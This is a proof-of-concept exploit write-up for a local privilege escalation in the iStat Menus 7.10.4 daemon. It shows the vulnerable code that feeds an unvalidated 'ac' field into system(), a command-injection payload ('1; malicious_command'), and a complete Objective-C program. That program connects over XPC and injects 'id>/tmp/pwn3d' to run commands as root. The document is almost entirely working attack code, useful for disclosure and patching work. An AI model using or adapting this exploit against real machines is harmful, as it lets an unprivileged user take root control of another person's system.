iStat Menus 7.10.4 - Local Privilege Escalation

   NSString *acValue = modes[@"ac"];  // User-controlled input
   NSString *cmd = [NSString stringWithFormat:
       @"/usr/bin/pmset -c lowpowermode %@", acValue];
   system([cmd UTF8String]);  // Executes without validation

   {
     "command": "energymodes",
     "modes": {
       "ac": "1; malicious_command"
     }
   }

/usr/bin/pmset -c lowpowermode 1; malicious_command

/*
 * POC: Command Injection Simple en energymodes
 * 
 * Command Injection in "energymodes"
 * 
 * Compile:
 *   clang -framework Foundation poc_command_injection.m -o poc_command_injection
 * 
 * Run:
 *   ./poc_command_injection
 */

#import <Foundation/Foundation.h>

@protocol DaemonProtocol
- (void)processCommand:(NSData *)jsonData reply:(void (^)(NSData *))reply;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        printf("═══════════════════════════════════════════════════════════════\n");
        printf("  POC: Command Injection en iStat Menus Daemon\n");
        printf("═══════════════════════════════════════════════════════════════\n\n");
        
        // XPC Connection
        printf("[*] Connecting to com.bjango.istatmenus.daemon...\n");
        
        NSXPCConnection *connection = [[NSXPCConnection alloc] 
            initWithMachServiceName:@"com.bjango.istatmenus.daemon" 
            options:0];
        
        if (!connection) {
            printf("Error\n");
            return 1;
        }
        
        connection.remoteObjectInterface = [NSXPCInterface 
            interfaceWithProtocol:@protocol(DaemonProtocol)];
        
        [connection resume];
        
        id<DaemonProtocol> daemon = [connection remoteObjectProxy];
        
        printf("Connected\n\n");
        
        // Build malicious command
        printf("[*] Creating NSDictionary...\n\n");
        
        NSDictionary *maliciousCommand = @{
            @"command": @"energymodes",
            @"modes": @{
                @"ac": @"1; id>/tmp/pwn3d"
            }
        };
    
        
        // Serialize to JSON
        NSError *error = nil;
        NSData *jsonData = [NSJSONSerialization 
            dataWithJSONObject:maliciousCommand 
            options:0 
            error:&error];
        
        if (error) {
            printf("Error serializing JSON: %s\n", [[error description] UTF8String]);
            return 1;
        }
        
        printf("[*] Sending command to daemon...\n\n");
        
        __block BOOL done = NO;
        
        [daemon processCommand:jsonData reply:^(NSData *response) {
           
            
            // Verify if the file was created
            NSFileManager *fm = [NSFileManager defaultManager];
            if ([fm fileExistsAtPath:@"/tmp/pwn3d"]) {
                

            NSString *path = @"/tmp/pwn3d";
            NSError *error = nil;

            NSString *content = [NSString stringWithContentsOfFile:path
                                                        encoding:NSUTF8StringEncoding
                                                            error:&error];
            if (error) {
                fprintf(stderr, "Error reading file: %s\n", [error.localizedDescription UTF8String]);
            } else {
                

                if ([content containsString:@"root"]) {
                    
                    printf("Content:\n%s\n", [content UTF8String]);
                    printf("VULNERABILITY CONFIRMED:\n\n");

                } 
               
            }

                
            } else {
                printf("File not found\n");
            }
            
            done = YES;
        }];
        
        // Wait for response
        while (!done) {
            [[NSRunLoop currentRunLoop] runMode:NSDefaultRunLoopMode 
                                     beforeDate:[NSDate dateWithTimeIntervalSinceNow:0.1]];
        }
        
        printf("═══════════════════════════════════════════════════════════════\n\n");
        
        [connection invalidate];
    }
    return 0;
}